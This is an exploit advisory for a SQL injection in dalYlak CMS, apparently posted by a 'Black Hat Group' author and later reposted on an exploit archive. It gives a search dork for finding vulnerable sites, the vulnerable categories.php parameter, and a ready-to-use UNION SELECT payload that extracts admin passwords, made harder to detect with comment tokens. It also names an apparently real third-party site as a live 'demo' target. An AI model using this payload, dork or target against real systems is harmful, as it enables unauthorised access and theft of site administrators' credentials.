dalYlak Cms SQLInjection Vulnerability

#(+) Exploit Title: dalYlak Cms SQLInjection Vulnerability
#(+) Author : Net.Edit0r
#(+) Data  : 2011-04-26
#(+) E-mail : [email protected]
#(+) Home : http://security-war.com and Black-hg.com
#(+) dork : "Powred by dalYlak.com"
#(+) Versian : All Ver
#(+) Category : Web Apps [SQl]
#(+) Platform : Tested on: linux
#(+) Download : http://www.dalYlak.com/

____________________________________________________________________
                                           Black Hat Group #BHG
____________________________________________________________________


The security problem in the file "categories.php" has been created.

[~] Vulnerable File :

# [+]http://localhost/categories.php?act=show&id=[SQL]

[~] SQL injection Vulnerability

# [+]-1+/**/+UNION+/**/+SELECT+/**/+passwd+/**/+FrOm+/**/+admin--

[+]http://www.localhost/categories.php?act=show&id=-1+/**/+UNION+/**/+SELECT+/**/+passwd+/**/+FrOm+/**/+admin--

[~] Demo :

[+] http://www.arabiskco.com/pro/categories.php?act=show&id=-1+/**/+UNION+/**/+SELECT+/**/+passwd+/**/+FrOm+/**/+admin--

##########################
(+)IRANIAN Young HackerZ # Persian Gulf 4 Ever
##########################
(+)Black Hat Group Member : Net.Edit0r & DarkCoder & p3nt3st3r & H3x &
3H34N & Mr.Xhat & Amir-MagiC & D3adly #BHG
##########################
(+)Gr33ts to : Ajaxtm.com ~ Mn-team.net All Iranian HackerZ
##########################



#  0day.today [2018-04-12]  #